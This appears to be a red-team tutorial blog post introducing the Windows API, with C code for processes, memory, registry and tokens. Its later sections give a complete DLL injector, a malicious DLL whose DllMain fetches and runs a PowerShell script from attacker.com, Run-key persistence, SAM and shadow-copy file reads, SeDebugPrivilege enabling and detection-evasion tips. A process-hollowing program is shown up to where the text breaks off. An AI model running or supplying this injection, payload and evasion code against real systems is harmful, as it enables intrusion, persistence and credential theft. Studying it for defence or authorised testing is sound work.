ᛉ Yggdrasil

Windows

Intro to Windows API

15 Sep 2026 · 6,644 words · 30 min

Contents

Windows API (Application Programming Interface) is the set of core APIs that allow applications to interact with the Windows operating system. For red teamers and penetration testers, understanding the Windows API is critical — it enables direct OS-level manipulation for process injection, credential theft, privilege escalation, and evasion techniques.


1. What is Windows API

What it means: The Windows API is a collection of functions, structures, and constants exported by the Windows kernel and system libraries that allow developers and attackers to directly manipulate OS behavior — processes, memory, files, tokens, registry, and network connections — bypassing normal user-mode restrictions.

Why Windows API Matters for Red Teamers

Traditional User-Mode Approach:
  Command → Process Creation → Parent Process Monitoring (ESC can detect)

Direct Windows API Approach:
  P/Invoke/LoadLibrary → Kernel Functions → Direct Syscalls
  Bypasses: Command line logging, parent process chain analysis, 
  common behavior signatures

Three Core API Categories

Kernel32.dll → Process, memory, thread, file operations
Advapi32.dll → Registry, security, token manipulation, service control
Ntdll.dll → Native syscalls (lowest level, direct kernel access)

API Call Flow (Simplified)

Your Code (Managed/Unmanaged)
    ↓
Call Windows API Function (e.g., CreateProcessA)
    ↓
Kernel32.dll (user-mode wrapper)
    ↓
Syscall (transition to kernel mode)
    ↓
Windows Kernel (ntoskrnl.exe)
    ↓
System Action (process created, memory allocated, etc.)
    ↓
Return to User-Mode

API Declaration Formats

Each API has a C/C++ declaration, a P/Invoke signature (C#), and a ctypes signature (Python):

// C/C++ Declaration (from Windows SDK)
BOOL CreateProcessA(
  LPCSTR                lpApplicationName,
  LPSTR                 lpCommandLine,
  LPSECURITY_ATTRIBUTES lpProcessAttributes,
  LPSECURITY_ATTRIBUTES lpThreadAttributes,
  BOOL                  bInheritHandles,
  DWORD                 dwCreationFlags,
  LPVOID                lpEnvironment,
  LPCSTR                lpCurrentDirectory,
  LPSTARTUPINFOA        lpStartupInfo,
  LPPROCESS_INFORMATION lpProcessInformation
);

2. API Fundamentals & Concepts

2.1 Handles & Return Values

Handle: An opaque reference to a kernel object (process, thread, file, etc.)

// Handle = unique identifier for kernel object
HANDLE hProcess = OpenProcess(
    PROCESS_ALL_ACCESS,  // Desired access
    FALSE,               // Inherit handle
    dwProcessId          // Process ID
);

// Check if handle is valid
if (hProcess == NULL || hProcess == INVALID_HANDLE_VALUE) {
    printf("Failed to open process: %d\n", GetLastError());
    return;
}

// Use the handle
// ...

// Always close handles to avoid handle leaks
CloseHandle(hProcess);

2.2 Data Types

Common Windows API Data Types:

Type C/C++ Meaning
DWORD unsigned int (32-bit) 32-bit unsigned integer
HANDLE void* Opaque reference to kernel object
LPVOID void* Long Pointer to Void (generic pointer)
LPCSTR const char* Long Pointer to Const String (ANSI)
LPCWSTR const wchar_t* Long Pointer to Const Wide String (Unicode)
BOOL int Boolean (non-zero = TRUE, 0 = FALSE)
SIZE_T unsigned long Platform-dependent size (32/64-bit)
PROCESS_INFORMATION struct Contains hProcess, hThread, dwProcessId, dwThreadId
STARTUPINFO struct Defines new process window/handle inheritance

2.3 Structures (Critical for Red Team APIs)

PROCESS_INFORMATION — Returned by CreateProcess*

typedef struct _PROCESS_INFORMATION {
    HANDLE hProcess;          // Process handle
    HANDLE hThread;           // Primary thread handle
    DWORD  dwProcessId;       // Process ID
    DWORD  dwThreadId;        // Primary thread ID
} PROCESS_INFORMATION;

STARTUPINFO — Controls new process startup

typedef struct _STARTUPINFOA {
    DWORD   cb;               // Size of structure
    LPSTR   lpReserved;       // Reserved
    LPSTR   lpDesktop;        // Desktop name
    LPSTR   lpTitle;          // Window title
    DWORD   dwX;              // X coordinate
    DWORD   dwY;              // Y coordinate
    DWORD   dwXSize;          // Width
    DWORD   dwYSize;          // Height
    DWORD   dwXCountChars;    // Buffer width
    DWORD   dwYCountChars;    // Buffer height
    DWORD   dwFillAttribute;  // Text/background color
    DWORD   dwFlags;          // Startup flags (STARTF_*)
    WORD    wShowWindow;      // Show window mode
    WORD    cbReserved2;      // Reserved
    LPBYTE  lpReserved2;      // Reserved
    HANDLE  hStdInput;        // Stdin handle
    HANDLE  hStdOutput;       // Stdout handle
    HANDLE  hStdError;        // Stderr handle
} STARTUPINFOA;

2.4 Error Handling with GetLastError()

// Always check return values and use GetLastError() for diagnostics
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwPid);

if (hProcess == NULL) {
    DWORD dwError = GetLastError();
    printf("OpenProcess failed with error code: %d\n", dwError);

    // Error codes:
    // 5 = ERROR_ACCESS_DENIED (insufficient privilege)
    // 87 = ERROR_INVALID_PARAMETER (bad argument)
    // 1314 = ERROR_PRIVILEGE_NOT_HELD (SeDebugPrivilege required)
}

2.5 Access Rights & Masks

Process Access Rights:

#define PROCESS_TERMINATE                 0x0001  // Terminate process
#define PROCESS_CREATE_THREAD             0x0002  // Create threads
#define PROCESS_SET_SESSIONID             0x0004  // Set session ID
#define PROCESS_VM_OPERATION              0x0008  // Virtual memory operations
#define PROCESS_VM_READ                   0x0010  // Read memory
#define PROCESS_VM_WRITE                  0x0020  // Write memory
#define PROCESS_DUP_HANDLE                0x0040  // Duplicate handles
#define PROCESS_CREATE_PROCESS            0x0080  // Create child process
#define PROCESS_SET_QUOTA                 0x0100  // Set quotas
#define PROCESS_SET_INFORMATION           0x0200  // Set process info
#define PROCESS_QUERY_INFORMATION         0x0400  // Query process info
#define PROCESS_SUSPEND_RESUME            0x0800  // Suspend/resume
#define SYNCHRONIZE                       0x100000 // Synchronize
#define PROCESS_ALL_ACCESS                (STANDARD_RIGHTS_REQUIRED | SYNCHRONIZE | 0xFFFF)

// Common combinations:
PROCESS_QUERY_INFORMATION | PROCESS_VM_READ  // Read-only memory access
PROCESS_VM_OPERATION | PROCESS_VM_WRITE      // Write to memory
PROCESS_ALL_ACCESS                           // Full access

3. Process & Memory Management APIs

3.1 CreateProcessA / CreateProcessW

Purpose: Create a new process (ANSI or Unicode variant)

// ANSI Version (legacy, CPTS era)
BOOL CreateProcessA(
    LPCSTR lpApplicationName,              // Executable path (NULL = use cmdline)
    LPSTR lpCommandLine,                   // Command line arguments
    LPSECURITY_ATTRIBUTES lpProcessAttributes,  // Process security (NULL = default)
    LPSECURITY_ATTRIBUTES lpThreadAttributes,   // Thread security (NULL = default)
    BOOL bInheritHandles,                  // Inherit parent handles
    DWORD dwCreationFlags,                 // Creation flags (CREATE_SUSPENDED, CREATE_NO_WINDOW, etc)
    LPVOID lpEnvironment,                  // Environment variables (NULL = inherit)
    LPCSTR lpCurrentDirectory,             // Working directory (NULL = inherit)
    LPSTARTUPINFOA lpStartupInfo,          // Startup info (console, window, etc)
    LPPROCESS_INFORMATION lpProcessInformation  // Returns process/thread handles
);

// Return value: TRUE = success, FALSE = failure
// On failure, use GetLastError() to get error code

Practical Example — Process Creation:

#include <Windows.h>
#include <stdio.h>

int main() {
    STARTUPINFOA si = {0};
    PROCESS_INFORMATION pi = {0};

    si.cb = sizeof(si);
    si.dwFlags = STARTF_USESHOWWINDOW;
    si.wShowWindow = SW_HIDE;  // Hidden window

    // Create process
    BOOL bSuccess = CreateProcessA(
        NULL,                          // App name (use cmd line instead)
        (LPSTR)"cmd.exe /c whoami",   // Command line (must be non-const for unicode)
        NULL,                          // Process security
        NULL,                          // Thread security
        FALSE,                         // Inherit handles
        CREATE_NO_WINDOW,              // Creation flags
        NULL,                          // Environment
        NULL,                          // Working directory
        &si,                           // Startup info
        &pi                            // Process info (output)
    );

    if (!bSuccess) {
        printf("CreateProcessA failed: %d\n", GetLastError());
        return 1;
    }

    printf("Process created: PID=%d\n", pi.dwProcessId);

    // Wait for process to complete
    WaitForSingleObject(pi.hProcess, INFINITE);

    // Get exit code
    DWORD dwExitCode = 0;
    GetExitCodeProcess(pi.hProcess, &dwExitCode);
    printf("Process exited with code: %d\n", dwExitCode);

    // Close handles
    CloseHandle(pi.hProcess);
    CloseHandle(pi.hThread);

    return 0;
}

Red Team Use Cases:

  • Spawn hidden processes (CREATE_NO_WINDOW flag)
  • Process hollowing (CREATE_SUSPENDED + ResumeThread after injection)
  • Detached processes (CREATE_NEW_PROCESS_GROUP | CREATE_NEW_CONSOLE)
  • Bypass parent process monitoring via alternate execution methods

3.2 OpenProcess / GetCurrentProcess

Purpose: Obtain handle to existing process

HANDLE OpenProcess(
    DWORD dwDesiredAccess,   // Access rights (PROCESS_ALL_ACCESS, etc)
    BOOL bInheritHandle,     // Inherit in child processes
    DWORD dwProcessId        // PID to open
);

// Red team example: Open target process for memory manipulation
HANDLE hProcess = OpenProcess(
    PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ,
    FALSE,
    dwTargetPid
);

if (hProcess == NULL) {
    DWORD dwError = GetLastError();
    if (dwError == 5) {
        printf("Access denied — check privileges and UAC\n");
    } else if (dwError == 1314) {
        printf("SeDebugPrivilege required\n");
    }
}

// Get current process handle (always succeeds, never close)
HANDLE hCurrentProcess = GetCurrentProcess();  // Returns pseudo-handle

3.3 VirtualAllocEx / WriteProcessMemory / ReadProcessMemory

Purpose: Allocate memory in target process and read/write to it

// Allocate memory in target process
LPVOID lpRemoteBuffer = VirtualAllocEx(
    hProcess,                          // Target process handle
    NULL,                              // Desired address (NULL = let OS choose)
    4096,                              // Size to allocate
    MEM_COMMIT | MEM_RESERVE,          // Allocation type
    PAGE_EXECUTE_READWRITE             // Protection (RWX for code injection)
);

if (lpRemoteBuffer == NULL) {
    printf("VirtualAllocEx failed: %d\n", GetLastError());
}

// Write shellcode/DLL path to target process
BYTE shellcode[] = {0x90, 0x90, 0xCC};  // NOP, NOP, INT3
SIZE_T bytesWritten = 0;

BOOL bSuccess = WriteProcessMemory(
    hProcess,                          // Target process
    lpRemoteBuffer,                    // Remote address
    shellcode,                         // Local buffer
    sizeof(shellcode),                 // Bytes to write
    &bytesWritten                      // Bytes actually written
);

if (!bSuccess || bytesWritten != sizeof(shellcode)) {
    printf("WriteProcessMemory failed: %d\n", GetLastError());
}

// Read memory from target process
BYTE buffer[1024] = {0};
SIZE_T bytesRead = 0;

bSuccess = ReadProcessMemory(
    hProcess,                          // Target process
    lpRemoteBuffer,                    // Remote address
    buffer,                            // Local buffer
    sizeof(buffer),                    // Bytes to read
    &bytesRead                         // Bytes actually read
);

// Memory protection flags (critical for red team)
// PAGE_EXECUTE           = Code execution only
// PAGE_EXECUTE_READ      = Code + read (typical for .text section)
// PAGE_EXECUTE_READWRITE = Code + read + write (for inline hooks)
// PAGE_READWRITE         = Read + write (typical for .data section)
// PAGE_NOACCESS          = No access (detection evasion)

Attack Pattern — DLL Injection via Memory Write:

1. OpenProcess(target_pid)
2. VirtualAllocEx(hProcess, size=PATH_TO_DLL)
3. WriteProcessMemory(hProcess, lpRemoteBuffer, "C:\\path\\to\\malicious.dll")
4. CreateRemoteThread(hProcess, lpRemoteBuffer)  ← Execute LoadLibraryA in target
5. CloseHandle(hProcess)

3.4 VirtualFreeEx / VirtualQueryEx

Purpose: Free/query memory in target process

// Free allocated memory
BOOL bSuccess = VirtualFreeEx(
    hProcess,                          // Target process
    lpRemoteBuffer,                    // Address to free
    0,                                 // Size (must be 0 for MEM_RELEASE)
    MEM_RELEASE                        // Operation (MEM_RELEASE or MEM_DECOMMIT)
);

// Query memory information (detect injected regions)
MEMORY_BASIC_INFORMATION mbi = {0};

SIZE_T result = VirtualQueryEx(
    hProcess,                          // Target process
    lpAddress,                         // Address to query
    &mbi,                              // Output structure
    sizeof(mbi)                        // Size of structure
);

// mbi.State → MEM_COMMIT, MEM_RESERVE, MEM_FREE
// mbi.Protect → PAGE_EXECUTE_READWRITE, etc
// mbi.Type → MEM_IMAGE, MEM_MAPPED, MEM_PRIVATE

4. Thread & Synchronization APIs

4.1 CreateRemoteThread

Purpose: Execute code in target process by creating thread at arbitrary address

HANDLE CreateRemoteThread(
    HANDLE hProcess,                   // Target process handle
    LPSECURITY_ATTRIBUTES lpThreadAttributes,  // Thread security (NULL = default)
    SIZE_T dwStackSize,                // Stack size (0 = default)
    LPTHREAD_START_ROUTINE lpStartAddress,     // Thread start function (shellcode addr)
    LPVOID lpParameter,                // Parameter to pass to function
    DWORD dwCreationFlags,             // Creation flags (0 or CREATE_SUSPENDED)
    LPDWORD lpThreadId                 // Output thread ID
);

// Red team usage pattern
typedef HMODULE (WINAPI *pLoadLibraryA)(LPCSTR);

LPVOID lpDllPath = VirtualAllocEx(hProcess, NULL, strlen(dllPath) + 1, 
                                   MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
WriteProcessMemory(hProcess, lpDllPath, (LPVOID)dllPath, strlen(dllPath) + 1, NULL);

// Get address of LoadLibraryA in kernel32.dll (same in all processes)
HMODULE hKernel32 = GetModuleHandleA("kernel32.dll");
LPVOID pLoadLibraryA = (LPVOID)GetProcAddress(hKernel32, "LoadLibraryA");

// Create thread that will execute LoadLibraryA(lpDllPath)
HANDLE hRemoteThread = CreateRemoteThread(
    hProcess,                          // Target process
    NULL,                              // Thread security
    0,                                 // Stack size
    (LPTHREAD_START_ROUTINE)pLoadLibraryA,  // LoadLibraryA address
    lpDllPath,                         // DLL path pointer
    0,                                 // Flags (start immediately)
    NULL                               // Thread ID (ignored)
);

if (hRemoteThread == NULL) {
    printf("CreateRemoteThread failed: %d\n", GetLastError());
}

// Wait for thread to complete
WaitForSingleObject(hRemoteThread, INFINITE);

// Get thread exit code (module handle returned by LoadLibraryA)
DWORD dwExitCode = 0;
GetExitCodeThread(hRemoteThread, &dwExitCode);
printf("LoadLibraryA returned: 0x%p\n", (void*)dwExitCode);

CloseHandle(hRemoteThread);

4.2 GetThreadContext / SetThreadContext

Purpose: Read/write thread execution context (registers, flags, etc)

// Suspend thread
SuspendThread(hThread);

// Get thread context (CPU registers)
CONTEXT ctx = {0};
ctx.ContextFlags = CONTEXT_FULL | CONTEXT_DEBUG_REGISTERS;  // What to capture

if (!GetThreadContext(hThread, &ctx)) {
    printf("GetThreadContext failed: %d\n", GetLastError());
}

// Access registers
printf("RIP (instruction pointer): 0x%llx\n", ctx.Rip);  // x64
printf("RSP (stack pointer): 0x%llx\n", ctx.Rsp);
printf("RAX (accumulator): 0x%llx\n", ctx.Rax);

// Modify execution context (e.g., redirect execution flow)
ctx.Rip = (DWORD64)0x140001000;  // Set new instruction pointer

// Write context back
if (!SetThreadContext(hThread, &ctx)) {
    printf("SetThreadContext failed: %d\n", GetLastError());
}

// Resume thread with new context
ResumeThread(hThread);

Red Team Attack: Thread context hijacking for code redirection without shellcode injection.

4.3 WaitForSingleObject / WaitForMultipleObjects

Purpose: Wait for process/thread completion or synchronize execution

// Wait for single object (process/thread) to signal
DWORD dwWait = WaitForSingleObject(
    hProcess,                          // Handle to wait on
    5000                               // Timeout in milliseconds (INFINITE = wait forever)
);

// Return values:
// WAIT_OBJECT_0 = object signaled (process/thread exited)
// WAIT_TIMEOUT = timeout reached
// WAIT_FAILED = error (use GetLastError())

if (dwWait == WAIT_OBJECT_0) {
    printf("Process exited\n");
} else if (dwWait == WAIT_TIMEOUT) {
    printf("Timeout reached\n");
}

// Wait for multiple objects
HANDLE handles[2] = {hProcess1, hProcess2};
DWORD dwWait = WaitForMultipleObjects(
    2,                                 // Number of handles
    handles,                           // Array of handles
    FALSE,                             // FALSE = any object, TRUE = all objects
    INFINITE                           // Timeout
);

// Return value: WAIT_OBJECT_0 to WAIT_OBJECT_0 + (n-1) indicates which object signaled
DWORD dwIndex = dwWait - WAIT_OBJECT_0;
printf("Object %d signaled\n", dwIndex);

5. File & Registry APIs

5.1 CreateFileA / CreateFileW

Purpose: Open/create files on disk

HANDLE CreateFileA(
    LPCSTR lpFileName,                 // File path
    DWORD dwDesiredAccess,             // Access mode (GENERIC_READ, GENERIC_WRITE, etc)
    DWORD dwShareMode,                 // Share mode (FILE_SHARE_READ, FILE_SHARE_WRITE)
    LPSECURITY_ATTRIBUTES lpSecurityAttributes,  // Security
    DWORD dwCreationDisposition,       // How to create (CREATE_NEW, CREATE_ALWAYS, OPEN_EXISTING)
    DWORD dwFlagsAndAttributes,        // Flags (FILE_ATTRIBUTE_NORMAL, FILE_FLAG_SEQUENTIAL_SCAN)
    HANDLE hTemplateFile               // Template file (NULL = no template)
);

// Read-only file open
HANDLE hFile = CreateFileA(
    "C:\\Windows\\System32\\config\\SAM",
    GENERIC_READ,                      // Read access
    FILE_SHARE_READ | FILE_SHARE_WRITE,  // Allow others to access
    NULL,                              // Default security
    OPEN_EXISTING,                     // File must exist
    FILE_ATTRIBUTE_NORMAL,             // Normal attributes
    NULL                               // No template
);

// Write access for creation
HANDLE hOutput = CreateFileA(
    "C:\\temp\\output.txt",
    GENERIC_WRITE,                     // Write access
    0,                                 // No sharing
    NULL,                              // Default security
    CREATE_ALWAYS,                     // Create new or overwrite
    FILE_ATTRIBUTE_NORMAL,             // Normal attributes
    NULL                               // No template
);

// Red team usage: Open memory/recovery files for credential extraction
HANDLE hMemoryFile = CreateFileA(
    "\\\\.\\HarddiskVolumeShadowCopy1\\Windows\\System32\\config\\SAM",
    GENERIC_READ,
    FILE_SHARE_READ | FILE_SHARE_WRITE,
    NULL,
    OPEN_EXISTING,
    FILE_ATTRIBUTE_NORMAL,
    NULL
);

5.2 ReadFile / WriteFile

Purpose: Read/write data from/to file handles

// Read file
BYTE buffer[1024] = {0};
DWORD dwBytesRead = 0;

BOOL bSuccess = ReadFile(
    hFile,                             // File handle
    buffer,                            // Output buffer
    sizeof(buffer),                    // Bytes to read
    &dwBytesRead,                      // Bytes actually read
    NULL                               // Overlapped I/O (NULL = synchronous)
);

if (!bSuccess) {
    printf("ReadFile failed: %d\n", GetLastError());
}

printf("Read %d bytes\n", dwBytesRead);

// Write file
BYTE data[] = "Payload data";
DWORD dwBytesWritten = 0;

bSuccess = WriteFile(
    hFile,                             // File handle
    data,                              // Input buffer
    sizeof(data) - 1,                  // Bytes to write
    &dwBytesWritten,                   // Bytes actually written
    NULL                               // Overlapped I/O
);

// Close file handle
CloseHandle(hFile);

5.3 RegOpenKeyEx / RegQueryValueEx / RegSetValueEx

Purpose: Access Windows Registry

// Open registry key
HKEY hKey = NULL;

LONG lStatus = RegOpenKeyExA(
    HKEY_LOCAL_MACHINE,                // Root key (HKEY_CURRENT_USER, HKEY_CLASSES_ROOT, etc)
    "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",  // Subkey path
    0,                                 // Reserved
    KEY_READ | KEY_WRITE,              // Access rights
    &hKey                              // Output handle
);

if (lStatus != ERROR_SUCCESS) {
    printf("RegOpenKeyEx failed: %d\n", lStatus);
    return;
}

// Query registry value
CHAR szValue[MAX_PATH] = {0};
DWORD dwSize = sizeof(szValue);

lStatus = RegQueryValueExA(
    hKey,                              // Registry key handle
    "MyValue",                         // Value name
    NULL,                              // Reserved
    NULL,                              // Type (REG_SZ, REG_DWORD, etc)
    (LPBYTE)szValue,                   // Output buffer
    &dwSize                            // Buffer size / bytes read
);

if (lStatus == ERROR_SUCCESS) {
    printf("Value: %s\n", szValue);
}

// Set registry value (persistence technique)
lStatus = RegSetValueExA(
    hKey,                              // Registry key handle
    "Malware",                         // Value name
    0,                                 // Reserved
    REG_SZ,                            // Type (string)
    (CONST BYTE*)"C:\\malware.exe",    // Data
    strlen("C:\\malware.exe") + 1      // Data length
);

if (lStatus == ERROR_SUCCESS) {
    printf("Value set successfully\n");
}

// Enumerate registry values
DWORD dwIndex = 0;
CHAR szName[256] = {0};
CHAR szData[256] = {0};
DWORD dwNameSize = sizeof(szName);
DWORD dwDataSize = sizeof(szData);
DWORD dwType = 0;

while (RegEnumValueA(hKey, dwIndex, szName, &dwNameSize, NULL, &dwType, 
                     (LPBYTE)szData, &dwDataSize) == ERROR_SUCCESS) {
    printf("Name: %s, Type: %d, Data: %s\n", szName, dwType, szData);
    dwIndex++;
    dwNameSize = sizeof(szName);
    dwDataSize = sizeof(szData);
}

// Close registry key
RegCloseKey(hKey);

6. Token & Privilege APIs

6.1 OpenProcessToken / GetTokenInformation

Purpose: Access process security token and retrieve privilege information

// Get access token for current process
HANDLE hToken = NULL;

if (!OpenProcessToken(
    GetCurrentProcess(),               // Process handle
    TOKEN_QUERY | TOKEN_ADJUST_PRIVILEGES,  // Desired access
    &hToken                            // Output token handle
)) {
    printf("OpenProcessToken failed: %d\n", GetLastError());
}

// Query token information
DWORD dwReturnLength = 0;

// Get token type
TOKEN_TYPE tt = (TOKEN_TYPE)0;
if (!GetTokenInformation(
    hToken,                            // Token handle
    TokenType,                         // Information class (TokenType, TokenUser, TokenPrivileges, etc)
    &tt,                               // Output buffer
    sizeof(tt),                        // Buffer size
    &dwReturnLength                    // Bytes needed
)) {
    printf("GetTokenInformation failed: %d\n", GetLastError());
}

printf("Token type: %d (1=primary, 2=impersonation)\n", tt);

// Get token user (SID)
TOKEN_USER *pTokenUser = NULL;
if (!GetTokenInformation(hToken, TokenUser, NULL, 0, &dwReturnLength)) {
    // Expected to fail first time to get required size
    pTokenUser = (TOKEN_USER *)malloc(dwReturnLength);
}

GetTokenInformation(hToken, TokenUser, pTokenUser, dwReturnLength, &dwReturnLength);

// Convert SID to string
LPSTR szSid = NULL;
ConvertSidToStringSidA(pTokenUser->User.Sid, &szSid);
printf("Token user SID: %s\n", szSid);

// Query privileges
PTOKEN_PRIVILEGES pPrivileges = NULL;
if (!GetTokenInformation(hToken, TokenPrivileges, NULL, 0, &dwReturnLength)) {
    pPrivileges = (PTOKEN_PRIVILEGES)malloc(dwReturnLength);
}

GetTokenInformation(hToken, TokenPrivileges, pPrivileges, dwReturnLength, &dwReturnLength);

printf("Privileges: %d\n", pPrivileges->PrivilegeCount);
for (DWORD i = 0; i < pPrivileges->PrivilegeCount; i++) {
    CHAR szPrivilege[256] = {0};
    DWORD dwNameLen = sizeof(szPrivilege);

    LookupPrivilegeNameA(
        NULL,                          // System name
        &pPrivileges->Privileges[i].Luid,  // LUID
        szPrivilege,                   // Output privilege name
        &dwNameLen                     // Buffer size
    );

    DWORD dwFlags = pPrivileges->Privileges[i].Attributes;
    printf("  %s: %s\n", szPrivilege, 
           (dwFlags & SE_PRIVILEGE_ENABLED) ? "ENABLED" : "DISABLED");
}

free(pTokenUser);
free(pPrivileges);
CloseHandle(hToken);

6.2 ImpersonateLoggedOnUser / RevertToSelf

Purpose: Impersonate another user's security context

// Impersonate another user (must have their token handle)
HANDLE hUserToken = NULL;  // Obtained from LogonUser or token duplication

if (!ImpersonateLoggedOnUser(hUserToken)) {
    printf("ImpersonateLoggedOnUser failed: %d\n", GetLastError());
}

// Now all operations run as impersonated user
CHAR szUsername[256] = {0};
DWORD dwSize = sizeof(szUsername);
GetUserNameA(szUsername, &dwSize);
printf("Impersonated as: %s\n", szUsername);

// ... perform operations as impersonated user ...

// Revert to original security context
if (!RevertToSelf()) {
    printf("RevertToSelf failed: %d\n", GetLastError());
}

GetUserNameA(szUsername, &dwSize);
printf("Reverted to: %s\n", szUsername);

6.3 AdjustTokenPrivileges

Purpose: Enable/disable privileges in access token (critical for privilege escalation)

HANDLE hToken = NULL;
OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);

// Enable SeDebugPrivilege (allows OpenProcess with PROCESS_ALL_ACCESS on any process)
LUID luid = {0};

if (!LookupPrivilegeValueA(
    NULL,                              // System name
    "SeDebugPrivilege",                // Privilege name
    &luid                              // Output LUID
)) {
    printf("LookupPrivilegeValue failed: %d\n", GetLastError());
}

TOKEN_PRIVILEGES tp = {0};
tp.PrivilegeCount = 1;
tp.Privileges[0].Luid = luid;
tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;  // Enable

if (!AdjustTokenPrivileges(
    hToken,                            // Token handle
    FALSE,                             // Don't disable all privileges
    &tp,                               // Token privileges
    sizeof(tp),                        // Structure size
    NULL,                              // Previous privileges (optional)
    NULL                               // Previous size
)) {
    printf("AdjustTokenPrivileges failed: %d\n", GetLastError());
}

printf("SeDebugPrivilege enabled\n");

// Now can open any process
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwTargetPid);

CloseHandle(hToken);

Critical Privileges for Red Teamers:

Privilege Name Purpose
SeDebugPrivilege SeDebugPrivilege Open any process, inject code
SeImpersonatePrivilege SeImpersonatePrivilege Impersonate tokens (Potato attacks)
SeBackupPrivilege SeBackupPrivilege Read protected files (SAM/NTDS.dit)
SeRestorePrivilege SeRestorePrivilege Write to protected registry/files
SeTakeOwnershipPrivilege SeTakeOwnershipPrivilege Change object ownership
SeAssignPrimaryTokenPrivilege SeAssignPrimaryTokenPrivilege Assign primary token to process
SeSecurityPrivilege SeSecurityPrivilege Manage audit log
SeTcbPrivilege SeTcbPrivilege Act as part of OS (SYSTEM access)

7. DLL Injection Techniques

7.1 Classic DLL Injection (LoadLibraryA via CreateRemoteThread)

Attack Flow:

Target Process (explorer.exe)
    ↓
1. OpenProcess(target_pid, PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ)
    ↓
2. VirtualAllocEx(hProcess, NULL, strlen(dll_path) + 1, MEM_COMMIT, PAGE_READWRITE)
    ↓
3. WriteProcessMemory(hProcess, lpRemoteBuffer, "C:\\malicious.dll", ...)
    ↓
4. GetProcAddress(GetModuleHandleA("kernel32.dll"), "LoadLibraryA")
    ↓
5. CreateRemoteThread(hProcess, NULL, 0, pLoadLibraryA, lpRemoteBuffer, 0, NULL)
    ↓
6. LoadLibraryA executes in target process, loading malicious.dll
    ↓
7. DllMain() called with DLL_PROCESS_ATTACH
    ↓
8. Malicious code executes in target process context

Malicious DLL (C/C++):

#include <Windows.h>

// DLL entry point
BOOL APIENTRY DllMain(HMODULE hModule, DWORD dwReason, LPVOID lpReserved) {
    if (dwReason == DLL_PROCESS_ATTACH) {
        // Code executes when DLL loads

        // Spawn reverse shell
        WinExec("powershell.exe -nop -w hidden -c 'IEX (New-Object Net.WebClient).DownloadString(\"http://attacker.com/shell.ps1\")'", SW_HIDE);

        // Disable thread notifications
        DisableThreadLibraryCalls(hModule);
    }
    return TRUE;
}

Injector Code (C/C++):

#include <Windows.h>
#include <stdio.h>

int main(int argc, char* argv[]) {
    if (argc < 3) {
        printf("Usage: injector.exe <PID> <DLL_PATH>\n");
        return 1;
    }

    DWORD dwPid = atoi(argv[1]);
    const char* szDllPath = argv[2];

    // Open target process
    HANDLE hProcess = OpenProcess(
        PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ,
        FALSE,
        dwPid
    );

    if (hProcess == NULL) {
        printf("Failed to open process: %d\n", GetLastError());
        return 1;
    }

    // Allocate memory for DLL path
    LPVOID lpRemoteBuffer = VirtualAllocEx(
        hProcess,
        NULL,
        strlen(szDllPath) + 1,
        MEM_COMMIT | MEM_RESERVE,
        PAGE_READWRITE
    );

    if (lpRemoteBuffer == NULL) {
        printf("VirtualAllocEx failed: %d\n", GetLastError());
        CloseHandle(hProcess);
        return 1;
    }

    // Write DLL path to target process
    if (!WriteProcessMemory(hProcess, lpRemoteBuffer, (LPVOID)szDllPath, strlen(szDllPath) + 1, NULL)) {
        printf("WriteProcessMemory failed: %d\n", GetLastError());
        VirtualFreeEx(hProcess, lpRemoteBuffer, 0, MEM_RELEASE);
        CloseHandle(hProcess);
        return 1;
    }

    // Get LoadLibraryA address
    HMODULE hKernel32 = GetModuleHandleA("kernel32.dll");
    LPVOID pLoadLibraryA = (LPVOID)GetProcAddress(hKernel32, "LoadLibraryA");

    printf("pLoadLibraryA: 0x%p\n", pLoadLibraryA);

    // Create remote thread
    HANDLE hRemoteThread = CreateRemoteThread(
        hProcess,
        NULL,
        0,
        (LPTHREAD_START_ROUTINE)pLoadLibraryA,
        lpRemoteBuffer,
        0,
        NULL
    );

    if (hRemoteThread == NULL) {
        printf("CreateRemoteThread failed: %d\n", GetLastError());
        VirtualFreeEx(hProcess, lpRemoteBuffer, 0, MEM_RELEASE);
        CloseHandle(hProcess);
        return 1;
    }

    printf("Remote thread created, waiting for completion...\n");
    WaitForSingleObject(hRemoteThread, INFINITE);

    DWORD dwExitCode = 0;
    GetExitCodeThread(hRemoteThread, &dwExitCode);
    printf("LoadLibraryA returned: 0x%p (module handle)\n", (void*)dwExitCode);

    // Cleanup
    VirtualFreeEx(hProcess, lpRemoteBuffer, 0, MEM_RELEASE);
    CloseHandle(hRemoteThread);
    CloseHandle(hProcess);

    printf("Injection complete!\n");
    return 0;
}

Detection Evasion Tips:

  • Use CREATE_SUSPENDED flag to avoid detection between injection and thread resume
  • Allocate memory with PAGE_NOACCESS first, then VirtualProtectEx to PAGE_EXECUTE_READWRITE just before execution
  • Use alternative APIs (NtCreateThreadEx, RtlCreateUserThread) instead of CreateRemoteThread
  • Inject into processes that normally load external DLLs (explorer.exe, svchost.exe, etc)

8. Process Injection via Process Hollowing

8.1 Process Hollowing / Runpe Attack

Attack Flow:

1. CreateProcessA(..., CREATE_SUSPENDED)
    ↓
2. Unmap legitimate process image via NtUnmapViewOfSection
    ↓
3. Allocate new memory at original entry point
    ↓
4. Write malicious PE (EXE) to new memory location
    ↓
5. Update process entry point (RIP register)
    ↓
6. ResumeThread(hRemoteThread)
    ↓
7. Process executes malicious payload instead of legitimate binary

C/C++ Implementation:

#include <Windows.h>
#include <stdio.h>

typedef NTSTATUS(NTAPI* pNtUnmapViewOfSection)(HANDLE, PVOID);

int main(int argc, char* argv[]) {
    if (argc < 3) {
        printf("Usage: hollower.exe <TARGET_EXE> <PAYLOAD_EXE>\n");
        return 1;
    }

    const char* szTargetExe = argv[1];
    const char* szPayloadExe = argv[2];

    // Read payload EXE into memory
    HANDLE hPayloadFile = CreateFileA(szPayloadExe, GENERIC_READ, 0, NULL, OPEN_EXISTING, 0, NULL);
    DWORD dwPayloadSize = GetFileSize(hPayloadFile, NULL);
    BYTE* lpPayloadData = malloc(dwPayloadSize);
